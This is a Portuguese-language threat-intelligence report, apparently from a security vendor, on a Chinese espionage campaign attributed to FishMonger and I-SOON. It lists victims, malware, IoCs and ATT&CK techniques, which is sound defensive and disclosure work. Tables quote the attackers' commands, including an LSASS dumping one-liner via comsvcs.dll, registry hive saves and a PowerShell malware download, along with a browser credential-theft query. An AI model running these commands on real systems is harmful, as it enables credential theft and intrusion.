Em 5 de março de 2025, o Departamento de Justiça dos Estados Unidos apresentou uma acusação contra funcionários da empresa chinesa I-SOON por sua participação em diversas operações de espionagem global. Entre elas estão ataques que já havíamos documentado e atribuído ao grupo FishMonger APT, o braço operacional da I-SOON, incluindo o ataque a sete organizações que identificamos como alvos de uma campanha de 2022 que denominamos Operação FishMedley.
Pontos-chave deste post:
- Os alvos verticais da operação FishMedley incluem governos, ONGs e grupos de reflexão na Ásia, Europa e Estados Unidos.
- Os operadores utilizaram implantes - como ShadowPad, SodaMaster e Spyder - que são comuns ou exclusivos de cibercriminosos alinhados com a China.
- Estamos convencidos de que a operação FishMedley foi conduzida pelo grupo FishMonger APT.
- Independentemente da acusação do DOJ, determinamos que o FishMonger é operado pelo empresa chinesa I-SOON.
Perfil do FishMonger
O FishMonger – um grupo que se acredita ser operado pela empresa chinesa I-SOON (veja nosso Relatório de Atividade APT do quarto trimestre de 2023 ao primeiro trimestre de 2024) – está sob o guarda-chuva do Grupo Winnti e provavelmente opera da China, da cidade de Chengdu, onde ficava o escritório da I-SOON. O FishMonger também é conhecido como Earth Lusca, TAG-22, Aquatic Panda ou Red Dev 10. Publicamos uma análise desse grupo no início de 2020, quando ele realizou ataques significativos a universidades em Hong Kong durante as protestos civis que começaram em junho de 2019. Inicialmente, atribuímos o incidente ao Grupo Winnti, mas desde então revisamos nossa atribuição para o FishMonger.
O grupo é conhecido por realizar ataques de watering hole, como relatado pela Trend Micro. O conjunto de ferramentas do FishMonger inclui ShadowPad, Spyder, Cobalt Strike, FunnySwitch, SprySOCKS e o BIOPASS RAT.
Visão Geral
Em 5 de março de 2025, o Departamento de Justiça dos Estados Unidos divulgou um comunicado de imprensa e revelou uma acusação contra funcionários da I-SOON e autoridades do Ministério de Segurança Pública da China, envolvidos em diversas campanhas de espionagem entre 2016 e 2023. O FBI também incluiu os acusados na sua lista de "mais procurados" e publicou um cartaz, como mostrado na Figura 1.

A acusação descreve vários ataques que estão fortemente relacionados com o que publicamos em um relatório privado de inteligência APT no início de 2023. Neste post, compartilhamos nossos conhecimentos técnicos sobre essa campanha global, que teve como alvo governos, ONGs e grupos de reflexão da Ásia, Europa e Estados Unidos. Acreditamos que essas informações complementam a acusação recentemente publicada.
Durante 2022, pesquisamos sobre vários ataques nos quais foram utilizados implantes como ShadowPad e SodaMaster, comumente empregados por cibercriminosos alinhados com a China. Conseguimos agrupar sete incidentes independentes para esta postagem e denominamos essa campanha de Operação FishMedley.
O FishMonger e a I-SOON
Durante nossa pesquisa, conseguimos determinar de forma independente que o FishMonger é uma equipe de espionagem operada pela I-SOON, um contratante chinês com sede em Chengdu, que sofreu uma filtragem de documentos em 2024 (confira a análise detalhada da Harfang Labs).
Vitimologia
A Tabela 1 mostra detalhes sobre as sete vítimas que identificamos. Os setores e países são diversos, mas a maioria deles é de evidente interesse para o governo chinês.
Tabela 1: Detalhes das vítimas.
Victim | Date of compromise | Country | Vertical |
A | January 2022 | Taiwan | Governmental organization. |
B | January 2022 | Hungary | Catholic organization. |
C | February 2022 | Turkey | Unknown. |
D | March 2022 | Thailand | Governmental organization. |
E | April 2022 | United States | Catholic charity operating worldwide. |
F | June 2022 | United States | NGO – mainly active in Asia. |
G | October 2022 | France | Geopolitical think tank. |
A Tabela 2 resume os implantes utilizados durante cada intrusão da Operação FishMedley.
Tabela 2: Detalhes dos implantes utilizados contra cada vítima.
Victim | Tool | ScatterBee-packed ShadowPad | Spyder | SodaMaster | RPipeCommander |
A | ● | |||
B | ● | |||
C | ● | |||
D | ● | ● | ● | |
E | ● | |||
F | ● | ● | ||
G | ● |
Análise Técnica
Acesso Inicial
Não conseguimos identificar os vetores de comprometimento inicial. Na maioria dos casos, os cibercriminosos pareciam já ter acesso privilegiado à rede local, como credenciais de administrador de domínio.
Na vítima D, os cibercriminosos obtiveram acesso a uma console de administração e a utilizaram para implantar implantes em outras máquinas da rede local. É provável que tenham comprometido primeiro a máquina de um administrador de sistemas ou analista de segurança e, em seguida, roubado as credenciais que permitiam o acesso à console.
Na vítima F, os implantes foram entregues utilizando Impacket, o que indica que os atacantes comprometeram previamente uma conta de domínio com privilégios elevados.
Movimento Lateral
Na vítima F, os operadores também utilizaram Impacket para se mover lateralmente. Eles coletaram informações sobre outras máquinas locais e instalaram implantes.
A Tabela 3 mostra que os operadores primeiro realizaram um reconhecimento manual utilizando quser.exe, wmic.exe e ipconfig.exe. Em seguida, tentaram obter credenciais e outros segredos ao despejar o processo Local Security Authority Subsystem Service (LSASS) (PID 944). O PID do processo foi obtido por meio do comando tasklist /svc e o despejo foi realizado utilizando comsvcs.dll, um conhecido binário living-off-the-land (LOLBIN).
Observe que é provável que os atacantes tenham executado quser.exe para verificar se outros usuários ou administradores também haviam feito login, o que indicaria que havia acessos privilegiados no LSASS. De acordo com a documentação da Microsoft, para usar esse comando, o atacante precisa ter permissão de Controle Total ou permissão de Acesso Especial.
Eles também salvaram os arquivos comprimidos sam.hive e system.hive, que podem conter segredos ou credenciais.
Por fim, tentaram despejar novamente o processo LSASS, utilizando um loop for que itera sobre a saída do tasklist.exe. Observamos esse mesmo código sendo usado em outras máquinas, por isso é uma boa prática bloqueá-lo ou, ao menos, configurar alertas para ele.
Tabela 3. Comandos executados através do Impacket em uma máquina da vítima F.
Timestamp (UTC) | Command |
2022-06-21 07:34:07 | quser |
2022-06-21 14:41:23 | wmic os get lastbootuptime |
2022-06-21 14:41:23 | ipconfig /all |
2022-06-21 14:41:23 | tasklist /svc |
2022-06-21 14:41:23 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "C:\Windows\System32\rundll32 C:\windows\system32\comsvcs.dll, MiniDump 944 c:\users\public\music\temp.tmp full" |
2022-06-21 14:41:23 | reg save hklm\sam C:\users\public\music\sam.hive |
2022-06-21 14:41:23 | reg save hklm\system C:\users\public\music\system.hive |
2022-06-21 14:41:23 | net user |
2022-06-22 07:05:37 | tasklist /v |
2022-06-22 07:07:33 | dir c:\users |
2022-06-22 09:47:52 | for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B \Windows\Temp\YDWS6P.xml full |
Conjunto de Ferramentas
ShadowPad
ShadowPad é um backdoor modular conhecido e vendido de forma privada, que se sabe ser fornecido apenas a grupos APT alinhados com a China, incluindo FishMonger e SparklingGoblin, conforme documentado pela SentinelOne. Na operação FishMedley, os atacantes usaram uma versão do ShadowPad empacotada com o ScatterBee.
Na vítima D, o loader foi baixado utilizando o seguinte comando do PowerShell:
powershell (new-object System.Net.WebClient).DownloadFile("http://<web_server_address>/Images/menu/log.dll"; "c:\users\public\log.dll")
Isso demonstra que os atacantes comprometeram um servidor web na organização da vítima para utilizá-lo como servidor de montagem para seu malware.
Na vítima F, o loader foi baixado usando o Firefox de http://5.188.230[.]47/log.dll. Não sabemos se os cibercriminosos tinham acesso interativo à máquina, se outra peça de malware estava sendo executada no processo do Firefox ou se a vítima foi redirecionada para a página de download, possivelmente por meio de um ataque watering-hole.
O log.dll é carregado lateralmente por um antigo executável do Bitdefender (BDReinit.exe) e carrega o ShadowPad de um arquivo chamado log.dll.dat, que pode ser descriptografado utilizando os scripts fornecidos no repositório GitHub da PwC.
Não recuperamos o log.dll.dat da máquina da vítima, mas encontramos um instalador falso do Adobe Flash no VirusTotal com o arquivo log.dll idêntico. A configuração do payload ShadowPad é apresentada na Tabela 4.
Tabela 4. Configuração de ShadowPad.
Field | Decrypted value |
Timestamp | 3/14/2022 10:52:16 PM |
Campaign code | 2203 |
File path | %ALLUSERSPROFILE%\DRM\Test\ |
Spoofed name | Test.exe |
Loader filename | log.dll |
Payload filename | log.dll.dat |
Service name | MyTest2 |
Alternative service name | MyTest2 |
Alternative service name | MyTest2 |
Registry key path | SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Service description | MyTest2 |
Program to inject into | %ProgramFiles%\Windows Media Player\wmplayer.exe |
Alternative injection target | N/A |
Alternative injection target | N/A |
Alternative injection target | %windir%\system32\svchost.exe |
C&C URL | TCP://api.googleauthenticatoronline[.]com:443 |
Alternative C&C URL | UDP://api.googleauthenticatoronline[.]com:443 |
Alternative C&C URL | N/A |
Alternative C&C URL | N/A |
Proxy info string | SOCKS4\n\n\n\n\n |
Proxy info string | SOCKS4\n\n\n\n\n |
Proxy info string | SOCKS5\n\n\n\n\n |
Proxy info string | SOCKS5\n\n\n\n\n |
Note que, de 20 de março de 2022 até 2 de novembro de 2022, o domínio de C&C foi resolvido para 213.59.118[.]124, que é mencionado em um post do blog da VMware sobre o ShadowPad.
Spyder
Na Vítima D, detectamos outro backdoor tipicamente utilizado pelo FishMonger: Spyder, um implante modular que foi analisado em detalhes pelo Dr.Web.
Um loader do Spyder foi baixado de http://<endereço_IP_servidor_web_vítima>/Images/menu/aa.doc e colocado em C:\users\Public\task.exe cerca de 18 horas depois de o ShadowPad ser instalado.
O loader (ver Figura 2) lê o arquivo c:\windows\temp\guid.dat e descriptografa seu conteúdo utilizando AES-CBC. A chave de criptografia está codificada como:
F4 E4 C6 9E DE E0 9E 82 00 00 00 00 00 00 00 00.
O vetor de inicialização (IV) é formado pelos primeiros oito bytes da chave. Infelizmente, não conseguimos recuperar o arquivo guid.dat.

A seguir, o loader injeta o conteúdo descriptografado - provavelmente shellcode - nele mesmo (processo task.exe), como mostrado na Figura 3.

Apesar de não termos obtido o payload final criptografado, nosso produto detectou um payload do Spyder na memória, e ele era quase idêntico à variante do Spyder documentada pelo Dr.Web. O servidor de C&C estava codificado como 61.238.103[.]165.
Curiosamente, vários subdomínios de junlper[.]com, um domínio de C&C conhecido do Spyder, e um domínio homógrafo fraco de juniper.net, resolveram para 61.238.103[.]165 em 2022.
Um certificado TLS autoassinado esteve presente na porta 443 do servidor de maio a dezembro de 2022, com a impressão digital 89EDCFFC66EDA3AEB75E140816702F9AC73A75F0. Segundo SentinelOne, este certificado foi utilizado pelo FishMonger em seus servidores de C&C.
SodaMaster
SodaMaster é um backdoor documentado pela Kaspersky em 2021. O grupo APT10 foi o primeiro conhecido a ter acesso a esse backdoor, mas a Operação FishMedley sugere que agora ele pode estar sendo compartilhado entre vários grupos APT alinhados com a China.
O SodaMaster só pode ser encontrado descriptografado na memória, e foi exatamente lá que o detectamos. Embora não tenhamos recuperado a cadeia de carga completa, identificamos algumas amostras que constituem o primeiro passo dessa cadeia.
Loaders SodaMaster
Encontramos seis DLLs maliciosas diferentes que abusam de executáveis legítimos por meio de injeção lateral de DLL. Todas implementam a mesma rotina de descriptografia e injeção.
Primeiramente, o loader lê um arquivo codificado, como debug.png, e o descriptografa usando XOR com uma chave codificada de 239 bytes. A Tabela 5 resume os diferentes loaders. Vale ressaltar que a chave XOR também varia entre as amostras, mas é longa demais para ser incluída na tabela. Além disso, não conseguimos recuperar nenhuma das cargas úteis cifradas.
Tabela 5. Loaders do SodaMaster.
SHA-1 | DLL name | Payload filename |
3C08C694C222E7346BD8 |
DrsSDK.dll | <current_directory>\debug.png |
D8B631C551845F892EBB |
libvlc.dll | <current_directory>\vlc.cnf |
3A702704653EC847CF91 |
safestore64.dll | <current_directory>\Location |
3630F62771360540B667 |
DeElevator64.dll | <current_directory>\Location |
A4F68D0F1C72C3AC9D70 |
libmaxminddb-0.dll | C:\windows\system32\ |
5401E3EF903AFE981CFC |
safestore641.dll | <current_directory>\Location |
Em seguida, o buffer descriptografado é injetado em um processo recém-criado e suspenso do svchost.exe, como mostrado na Figura 4.

Por fim, o shellcode é executado usando CreateRemoteThread (no Windows XP ou versões anteriores) ou, nas versões mais recentes do Windows, através de NtCreateThreadEx, como mostrado na Figura 5.

Os últimos quatro loaders da Tabela 5 têm características adicionais:
- Eles têm uma exportação chamada getAllAuthData, que implementa um roubo de senhas para Firefox. Ele lê o banco de dados SQLite do Firefox e executa a consulta: SELECT encryptedUsername, encryptedPassword, hostname,httpRealm FROM moz_logins.
- Os três últimos loaders persistem como um serviço chamado Netlock, MsKeyboardFiltersrv e downmap, respectivamente.
Payload de SodaMaster
Como mencionado anteriormente, o payload do SodaMaster foi analisado publicamente pela Kaspersky e as amostras que encontramos não parecem ter evoluído muito. Continuam implementando os mesmos quatro comandos de backdoor (d, f, l e s) que estavam presentes em 2021.
A Tabela 6 mostra as configurações dos quatro diferentes payloads SodaMaster que identificamos. Os operadores utilizaram um servidor de C&C diferente para cada vítima, mas podemos ver que as vítimas B e C compartilham a mesma chave RSA codificada.
Tabela 6. Configuração de SodaMaster.
Victim | C&C server | RSA key |
B | 162.33.178[.]23 | MIGJAoGBAOPjO7DslhZvp0t8HNU/NWPIwstzwi61JlevD6TJtv/TZuN6Cg |
C | 78.141.202[.]70 | MIGJAoGBAOPjO7DslhZvp0t8HNU/NWPIwstzwi61JlevD6TJtv/TZuN6Cg |
F | 192.46.223[.]211 | MIGJAoGBAMYOg+eoTREKaAESDXt3Uh3Y4J84ObD1dfl3dOji0G24UlbHdj |
G | 168.100.10[.]136 | MIGJAoGBAJ0EsHDp5vtk23KCxEq0tAocvMwn63vCqq0FVmXsY+fvD0tP6N |
RPipeCommander
Na vítima D, capturamos um implante desconhecido até então no mesmo processo em que o Spyder estava sendo executado. Provavelmente foi carregado do disco ou baixado pelo Spyder. Como seu nome de exportação DLL era rcmd64.dll, chamamos esse implante de RPipeCommander.
RPipeCommander é multithread e utiliza IoCompletionPort para gerenciar as solicitações de E/S de múltiplos threads. Ele cria o pipe chamado \Pipe\CmdPipe<PID>, onde <PID> é o ID do processo atual, e lê e escreve nesse pipe.
RPipeCommander é um shell reverso que aceita três comandos através do pipe nomeado:
- h(0x68): cria um processo cmd.exe e vincula os pipes ao processo para enviar comandos e ler a saída.
- i(0x69): escreve um comando no processo cmd.exe existente ou lê a saída do comando anterior.
- j(0x6A): sai do processo cmd.exe escrevendo exit\r\n no interpretador de comandos.
Vale ressaltar que parece que temos apenas o lado do servidor do RPipeCommander. É provável que um segundo componente, um cliente, seja utilizado para enviar comandos ao servidor a partir de outra máquina da rede local.
Finalmente, RPipeCommander está escrito em C++ e as informações RTTI foram incluídas nas amostras capturadas, permitindo-nos obter alguns dos nomes das classes:
- CPipeServer
- CPipeBuffer
- CPipeSrvEvent
- CPipeServerEventHandler
Outras ferramentas
Além dos principais implantes descritos anteriormente, os cibercriminosos utilizaram algumas ferramentas adicionais para coletar ou extrair dados, que descrevemos na Tabela 7.
Tabela 7. Outras ferramentas utilizadas durante a operação FishMedley.
Filename | Details |
C:\Windows\system32\ |
Custom password filter. The export PasswordChangeNotify is called when the user changes their password, and it writes the new password on disk in the current working directory in a log file named etuper.log. Note that it can also exfiltrate the password by sending a POST request to a hardcoded C&C server, with flag=<password> in the POST data. However, this functionality is not enabled in this specific sample and there is no C&C server in the configuration. |
C:\Windows\debug\ |
The fscan network scanner, available on GitHub. |
C:\nb.exe | nbtscan – a NetBIOS scanner. |
C:\Users\public\ |
It contains only dbxcli – a tool written in Go to interact with Dropbox. It was likely used to exfiltrate data from the victim’s network, but we haven’t retrieved any information about the attackers’ account. Note that, despite the.zip extension, this is a CAB file. It was downloaded from http://45.76.165[.]227/wECqKe529r.png. Also note that dbxcli seems to have been compiled by the attackers, since the hash (SHA-1: 2AD82FFA393937A2353096FE2A2209E0EBC1C9D7) has a very low prevalence in the wild. |
Conclusão
Neste post, analisamos como o grupo FishMonger executou uma campanha contra instituições de grande relevância global e foi formalmente acusado pelo Departamento de Justiça dos EUA em março de 2025. Além disso, mostramos que o grupo não hesita em reutilizar implantes amplamente conhecidos, como o ShadowPad e o SodaMaster, mesmo muito tempo após sua divulgação pública. Por fim, confirmamos, de maneira independente, que o FishMonger é uma equipe vinculada à empresa chinesa I-SOON.
Indicadores de Comprometimento
Você pode encontrar uma lista completa dos indicadores de comprometimento (IoCs) e amostras em nosso repositório no GitHub.
Arquivos
SHA-1 | Filename | Detection | Description |
D61A4387466A0C999981 |
N/A | Win32/Agent.ADVC | ShadowPad dropper. |
918DDD842787D64B244D |
log.dll | Win32/Agent.ADVC | ScatterBee-packed ShadowPad loader. |
F12C8CEC813257890F48 |
task.exe | Win64/Agent.BEJ | Spyder loader. |
3630F62771360540B667 |
DeElevator64 |
Win64/PSW.Agent.CU | SodaMaster loader. |
3C08C694C222E7346BD8 |
DrsSDK.dll | Win64/Agent.CAC | SodaMaster loader. |
5401E3EF903AFE981CFC |
safestore64 |
Win64/PSW.Agent.CU | SodaMaster loader. |
A4F68D0F1C72C3AC9D70 |
libmaxminddb |
Win64/PSW.Agent.CU | SodaMaster loader. |
D8B631C551845F892EBB |
libvlc.dll | Win64/Agent.BFZ | SodaMaster loader. |
3F5F6839C7DCB1D164E4 |
sasetup.dll | Win64/PSW.Agent.CB | Malicious password filter. |
Rede
IP | Domain | Hosting provider | First seen | Details |
213.59.118[.]124 | api.googleau |
STARK INDUSTRIES | 2022‑03‑20 | ShadowPad C&C server. |
61.238.103[.]165 | N/A | IRT-HKBN-HK | 2022‑03‑10 | Spyder C&C server. |
162.33.178[.]23 | N/A | BL Networks | 2022‑03‑28 | SodaMaster C&C server. |
78.141.202[.]70 | N/A | The Constant Company | 2022‑05‑18 | SodaMaster C&C server. |
192.46.223[.]211 | N/A | Akamai Connected Cloud | 2022‑06‑22 | SodaMaster C&C server. |
168.100.10[.]136 | N/A | BL Networks | 2022‑05‑12 | SodaMaster C&C server. |
Técnicas ATT&CK do MITRE
Esta tabela foi elaborada utilizando a versão 16 do framework MITRE ATT&CK.
Tactic | ID | Name | Description |
Resource Development | T1583.004 | Acquire Infrastructure: Server | FishMonger rented servers at several hosting providers. |
T1583.001 | Acquire Infrastructure: Domains | FishMonger bought domains and used them for C&C traffic. | |
Execution | T1059.001 | Command-Line Interface: PowerShell | FishMonger downloaded ShadowPad using PowerShell. |
T1059.003 | Command-Line Interface: Windows Command Shell | FishMonger deployed Spyder using a BAT script. | |
T1072 | Software Deployment Tools | FishMonger gained access to a local admin console, abusing it to run commands on other machines in the victim’s network. | |
Persistence | T1543.003 | Create or Modify System Process: Windows Service | Some SodaMaster loaders persist via a Windows service. |
Defense Evasion | T1574.002 | Hijack Execution Flow: DLL Side-Loading | ShadowPad is loaded by a DLL named log.dll that is side-loaded by a legitimate Bitdefender executable. |
T1140 | Deobfuscate/Decode Files or Information | ShadowPad, Spyder, and SodaMaster are decrypted and loaded into memory. | |
Credential Access | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Some SodaMaster loaders can extract passwords from the local Firefox database. |
T1556.002 | Modify Authentication Process: Password Filter DLL | FishMonger used a custom password filter DLL that can write passwords to disk or exfiltrate them to a remote server. | |
T1003.001 | OS Credential Dumping: LSASS Memory | FishMonger dumped LSASS memory using rundll32 C:\windows\system32\comsvcs.dll, MiniDump. | |
T1003.002 | OS Credential Dumping: Security Account Manager | FishMonger dumped the security account manager using reg save hklm\sam C:\users\public\music\sam.hive. | |
Discovery | T1087.001 | Account Discovery: Local Account | FishMonger executed net user. |
T1016 | System Network Configuration Discovery | FishMonger executed ipconfig /all. | |
T1007 | System Service Discovery | FishMonger executed tasklist /svc. | |
T1057 | Process Discovery | FishMonger executed tasklist /v. | |
Lateral Movement | T1021.002 | Remote Services: SMB/Windows Admin Shares | FishMonger used Impacket to deploy malware on other machines in the local network. |
Command and Control | T1095 | Non-Application Layer Protocol | ShadowPad communicates over raw TCP and UDP. |